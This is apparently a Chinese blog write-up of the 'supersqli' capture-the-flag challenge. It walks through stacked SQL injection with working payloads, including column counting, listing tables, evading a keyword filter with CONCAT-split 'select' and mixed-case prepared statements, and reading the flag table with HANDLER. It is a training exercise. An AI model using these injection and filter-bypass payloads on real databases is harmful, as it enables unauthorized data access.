supersqli(sql注入)

12 supersqli(sql注入)

知识点

  1. 堆叠注入是重点
  2. 预编译 https://blog.csdn.net/Just__2009/article/details/109126437

在这里插入图片描述
在SQL中,分号(;)是用来表示一条sql语句的结束。试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。例如以下这个例子。 堆叠的语句是任意的而union只能用来查询

堆叠注入原理

1.输入1’发现不回显,然后1’ #显示正常,应该是存在sql注入了
使用单引号报错,说明有注入的漏洞
error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘’’’’ at line 1

‘1 order by 2# 然后试试

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
order by 2的时候页面正常回显,order by 3的时候页面出错,所以我们知道只有两个字段。

使用这种—1’ union select 1,2#
在这里插入图片描述

发现select 被过滤了。

叠合注入

-1’;show tables # 显示表有哪些

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
所以我们找到flag在第一个表中,那么接下来我们要查看flag中的内容,但是这里select被过滤了,所以我们必须得绕过这个过滤,怎么绕过呢?我们可以采用预编译的方式进行绕过。

-1’;set @sql = CONCAT(‘sele’,‘ct * from 1919810931114514;’);prepare aaa from @sql;EXECUTE aaa;#

但是当我们执行预编译语句的时候出现下图结果:
在这里插入图片描述

所以这里还同时过滤了set和prepare,那我们同时也要绕过它,如何绕过,我们可以采用大小写的形式进行绕过(经尝试,双写无法绕过)

1’;sEt @sql = CONCAT(‘sele’,‘ct * from 1919810931114514;’);prepArE aaa from @sql;EXECUTE aaa;#
在这里插入图片描述
到这里,拿到flag

方法2
handler查询

mysql可以使用select查询表中的数据,也可使用handler语句,这条语句是一行一行的浏览一个表中的数据。
handler可以用于MyISAM和InnoDB表。
使用方法:
handler table_name open打开一张表
handel table_name read first读取第一行内容,
handel table_name read next依次获取其它行
最后一行执行之后再执行handel table_name read next会返回一个空的结果。

-1’;handler 1919810931114514 open;handler 1919810931114514 read first;#

上面payload是两个语句,一个是打开表,一个是读表中的第一行字段中的内容
在这里插入图片描述
方法4
这里看到别人分享的一个解题思路,感觉姿势挺独特,介绍一下
修改表名和列名

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值